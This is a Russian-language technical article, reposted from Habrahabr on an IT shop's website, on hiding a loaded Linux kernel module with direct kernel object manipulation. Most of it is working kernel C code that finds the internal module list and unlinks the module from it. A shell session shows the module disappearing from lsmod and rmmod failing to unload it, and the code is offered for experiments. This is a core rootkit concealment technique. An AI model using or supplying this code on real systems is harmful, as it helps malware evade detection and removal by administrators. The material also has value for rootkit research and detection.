(495) 925-0049, ITShop интернет-магазин 229-0436, Учебный Центр 925-0049
  Главная страница Карта сайта Контакты
Поиск
Вход
Регистрация
Рассылки сайта
 
 
 
 
 

Простая маскировка модуля ядра Linux с применением DKOM

Источник: habrahabr
milabs

Как известно, задача сокрытия модуля ядра от вездесущих "глаз" пользователя может иметь множество приложений. В данной статье рассматривается применение DKOM (Direct Kernel Object Manipulation) - одной из техник, позволяющий осуществить сокрытие информации посредством модицикации внутренних структур ядра.

Далее будут рассмотрены особенности применения данной техники с целью сокрытия видимых признаков наличия модуля в системе и, как следствие, невозможности его выгрузки.

Как следует из названия, основу DKOM представляет операция манипуляции внутренними структурами ядра. В рассматриваемом случае, структурой, подвергающейся изменению, является внутренний список модулей, содержащий ссылки на все модули, загруженные в систему.

Предствление модулей в ядре

Структурой-описателем модуля ядра Linux является одноимённая структура, описываемая в файле linux/modules.h следующим образом:

223 struct module 224 { 225 enum module_state state; 226 227 /* Member of list of modules */ 228 struct list_head list; 229 230 /* Unique handle for this module */ 231 char name[MODULE_NAME_LEN]; ... 378 };

Помимо прочего, данная структура содержит поле list, являющееся элементом связанного списка, посредством которого данный модуль линкуется в общий список модулей ядра. Последний, в свою очередь, является внутренним не экспортируемым списком, объявленным в файле kernel/module.c и защищаемым соответствующим (экспортируемым) мьютексом:

103 DEFINE_MUTEX(module_mutex); 104 EXPORT_SYMBOL_GPL(module_mutex); 105 static LIST_HEAD(modules);

При загрузке модуля, ядро добавляет модуль в свой список. При выгрузке - исключает. Вообще, все операции, требующие перебора загруженных модулей так или иначе сводятся к итерации ядром этого внутреннего списка.

Перечисление загруженных модулей

Для того, чтобы перечислить загруженные в систему модули, удобно использовать макрос THIS_MODULE, ссылающийся на структуру-описатель текущего модуля. Рассмотренное ранее поле list будет являться элементом общего списка модулей с головным описателем, находящимся где-то в недрах ядра. Итак, функция перечисления списка загруженных в систему модулей выглядит следующим образом:

static void list_modules(void) { struct module * mod; struct list_head * pos; while(!mutex_trylock(&module_mutex)) cpu_relax(); debug("List of available modules:\n"); list_for_each(pos, &THIS_MODULE->list) { bool head = (unsigned long)pos >= MODULES_VADDR; mod = container_of(pos, struct module, list); debug(" pos:%pK mod:%pK [%s]\n", pos, \ head ? mod : 0, head ? mod->name : "<- looking for"); } mutex_unlock(&module_mutex); }

Как видно, прежде всего, необходимо захватить соответствующий мьютекс, дабы не возникло проблем с синхронизацией, если кто-то в момент перечисления попытается выгрузить один из модулей.

Далее, важным моментом при перечислении является определение адреса головы списка - структуры modules. В силу особенностей организации связанных списков в ядре Linux, голова не связана ни с одним из модулей. Более того, т.к. описатели модулей выделяются из адресов диапазона модулей (MODULES_VADDR - MODULES_END), то определение принадлежности адреса к этому диапазону является тривиальным. Ниже приведён результат работы данной функции, полученный на одной из машин:

[11025.656372] [findme] List of available modules: [11025.656377] [findme] pos:ffffffffa02a7388 mod:ffffffffa02a7380 [ipheth] [11025.656380] [findme] pos:ffffffffa02b9108 mod:ffffffffa02b9100 [pci_stub] [11025.656382] [findme] pos:ffffffffa01e7028 mod:ffffffffa01e7020 [vboxpci] [11025.656385] [findme] pos:ffffffffa01dd148 mod:ffffffffa01dd140 [vboxnetadp] [11025.656387] [findme] pos:ffffffffa01d4028 mod:ffffffffa01d4020 [vboxnetflt] ... [11025.656477] [findme] pos:ffffffffa00205c8 mod:ffffffffa00205c0 [3c59x] [11025.656480] [findme] pos:ffffffffa000c108 mod:ffffffffa000c100 [r8169] [11025.656483] [findme] pos:ffffffff81c2daf0 mod:0000000000000000 [<- looking for]

Последняя строчка наглядно сообщает, что искомая структура находится по адресу ffffffff81c2daf0, что можно проверить выполнив команду:

# grep -w modules /proc/kallsyms ffffffff81c2daf0 d modules

Таким образом, используя какой-либо из модулей можно с лёгкостью, перебирая элементы списка, найти корневую структуру. Её отличительным признаком будет являться нехарактерный для модулей адрес (ffffffff81xxxxxx против ffffffffa0xxxxxx), что и было использовано:

struct list_head * get_modules_head(void) { struct list_head * pos; while(!mutex_trylock(&module_mutex)) cpu_relax(); list_for_each(pos, &THIS_MODULE->list) { if ((unsigned long)pos < MODULES_VADDR) { break; } } mutex_unlock(&module_mutex); if (pos) { debug("Found \"modules\" head @ %pK\n", pos); } else { debug("Can't find \"modules\" head, aborting\n"); } return pos; }

Манипуляции списком модулей

Сокрытие модуля в принципе не представляет сложностей, т.к. операция исключения элемента из списка не требует ничего, кроме данного элемента. Операция же повторной вставки требует наличия любого из существующих элементов списка. В данном случае, используется корневой элемент системы. Таким образом, сокрытие и повторное добавление модуля выглядит следующим образом:

static void hide_or_show(int new) { while(!mutex_trylock(&module_mutex)) cpu_relax(); if (new == 1) { /* 0 -> 1 : hide */ list_del(&THIS_MODULE->list); debug("Module \"%s\" unlinked\n", THIS_MODULE->name); } else { /* 1 -> 0 : show */ list_add(&THIS_MODULE->list, p_modules); debug("Module \"%s\" linked again\n", THIS_MODULE->name); } mutex_unlock(&module_mutex); }

В первом случае, для исключения их списка используется list_del. Во втором - list_add. Обе операции защищаются захватом соответствующего мьютекса.

Практическая часть

В подготовленном примере содержится код модуля, который реализует функции маскировки. Для проверки следует собрать модуль и загрузить его стандартными средствами через make и insmod

Далее, непосредственно после загрузки, модуль будет доступен через lsmod или rmmod. Далее привожу последовательность действий по проверке функций маскировки:

# isnmod findme.ko # lsmod / grep findme findme 12697 0 # sysctl -w findme=1 findme = 1 # lsmod / grep findme # rmmod findme libkmod: ERROR ../libkmod/libkmod-module.c:753 kmod_module_remove_module: could not remove 'findme': No such file or directory Error: could not remove module findme: No such file or directory # sysctl -w findme=0 findme = 0 # lsmod / grep findme findme 12697 0 # rmmod findme

Таким образом, существует возможность простого сокрытия модуля ядра от посторонних глаз. Представленный пример содержит необходимый для экспериментов код.

Ссылки по теме


 Распечатать »
 Правила публикации »
  Написать редактору 
 Рекомендовать » Дата публикации: 13.12.2013 
 

Магазин программного обеспечения   WWW.ITSHOP.RU
erwin Data Modeler Workgroup Edition r9.7 - Product plus 1 Year Enterprise Maintenance Commercial
TeeBI for RAD Studio Suite with source code single license
Rational ClearQuest Floating User License
SAP CRYSTAL Reports 2013 WIN INTL NUL
Dr.Web Security Space, продление лицензии на 1 год, 1 ПК
 
Другие предложения...
 
Курсы обучения   WWW.ITSHOP.RU
 
Другие предложения...
 
Магазин сертификационных экзаменов   WWW.ITSHOP.RU
 
Другие предложения...
 
3D Принтеры | 3D Печать   WWW.ITSHOP.RU
 
Другие предложения...
 
Новости по теме
 
Рассылки Subscribe.ru
Информационные технологии: CASE, RAD, ERP, OLAP
Безопасность компьютерных сетей и защита информации
OS Linux для начинающих. Новости + статьи + обзоры + ссылки
Реестр Windows. Секреты работы на компьютере
Мир OLAP и Business Intelligence: новости, статьи, обзоры
Один день системного администратора
Компьютерная библиотека: книги, статьи, полезные ссылки
 
Статьи по теме
 
Новинки каталога Download
 
Исходники
 
Документация
 
 



    
rambler's top100 Rambler's Top100